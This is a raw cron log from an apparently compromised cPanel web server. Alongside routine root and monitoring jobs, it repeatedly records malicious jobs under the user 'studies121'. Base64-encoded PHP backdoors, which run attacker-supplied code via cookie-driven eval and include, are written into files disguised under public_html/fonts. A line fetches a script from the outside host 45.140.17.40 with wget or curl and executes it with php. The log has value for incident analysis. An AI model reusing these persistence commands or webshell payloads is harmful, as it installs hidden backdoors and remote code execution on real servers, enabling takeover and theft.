Feb 22 06:49:01 ip-184-168-122-23 CROND[19434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:49:01 ip-184-168-122-23 CROND[19435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:50:01 ip-184-168-122-23 CROND[19752]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 06:50:01 ip-184-168-122-23 CROND[19753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:50:01 ip-184-168-122-23 CROND[19754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:50:01 ip-184-168-122-23 CROND[19759]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 06:50:01 ip-184-168-122-23 CROND[19761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 06:50:01 ip-184-168-122-23 CROND[19763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:50:01 ip-184-168-122-23 CROND[19764]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 06:50:01 ip-184-168-122-23 CROND[19765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:50:01 ip-184-168-122-23 CROND[19766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:51:01 ip-184-168-122-23 CROND[20081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:51:01 ip-184-168-122-23 CROND[20080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:51:01 ip-184-168-122-23 CROND[20083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:51:01 ip-184-168-122-23 CROND[20084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:52:01 ip-184-168-122-23 CROND[20398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:52:01 ip-184-168-122-23 CROND[20400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:52:01 ip-184-168-122-23 CROND[20402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:52:01 ip-184-168-122-23 CROND[20401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:52:01 ip-184-168-122-23 CROND[20399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:53:01 ip-184-168-122-23 CROND[20808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:53:01 ip-184-168-122-23 CROND[20809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:53:01 ip-184-168-122-23 CROND[20810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:53:01 ip-184-168-122-23 CROND[20812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:54:01 ip-184-168-122-23 CROND[21128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:54:01 ip-184-168-122-23 CROND[21130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:54:01 ip-184-168-122-23 CROND[21132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:54:01 ip-184-168-122-23 CROND[21131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:54:01 ip-184-168-122-23 CROND[21134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:55:01 ip-184-168-122-23 CROND[21452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:55:01 ip-184-168-122-23 CROND[21453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:55:01 ip-184-168-122-23 CROND[21454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:55:01 ip-184-168-122-23 CROND[21456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:55:01 ip-184-168-122-23 CROND[21457]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 06:55:01 ip-184-168-122-23 CROND[21458]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 06:56:01 ip-184-168-122-23 CROND[21775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:56:01 ip-184-168-122-23 CROND[21777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:56:01 ip-184-168-122-23 CROND[21780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:56:01 ip-184-168-122-23 CROND[21779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:56:01 ip-184-168-122-23 CROND[21781]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:57:01 ip-184-168-122-23 CROND[22112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:57:01 ip-184-168-122-23 CROND[22113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:57:01 ip-184-168-122-23 CROND[22114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:57:01 ip-184-168-122-23 CROND[22117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:58:01 ip-184-168-122-23 CROND[22505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:58:01 ip-184-168-122-23 CROND[22507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:58:01 ip-184-168-122-23 CROND[22509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:58:01 ip-184-168-122-23 CROND[22508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:58:01 ip-184-168-122-23 CROND[22510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:59:01 ip-184-168-122-23 CROND[22824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:59:01 ip-184-168-122-23 CROND[22826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:59:01 ip-184-168-122-23 CROND[22827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:59:01 ip-184-168-122-23 CROND[22825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:00:01 ip-184-168-122-23 CROND[23146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:00:01 ip-184-168-122-23 CROND[23149]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:00:01 ip-184-168-122-23 CROND[23151]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 07:00:01 ip-184-168-122-23 CROND[23152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:00:01 ip-184-168-122-23 CROND[23157]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 07:00:01 ip-184-168-122-23 CROND[23155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:00:01 ip-184-168-122-23 CROND[23158]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 07:00:01 ip-184-168-122-23 CROND[23164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:01:01 ip-184-168-122-23 CROND[23510]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23510]: starting 0anacron
Feb 22 07:01:01 ip-184-168-122-23 CROND[23517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:01:01 ip-184-168-122-23 CROND[23521]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 07:01:01 ip-184-168-122-23 CROND[23518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
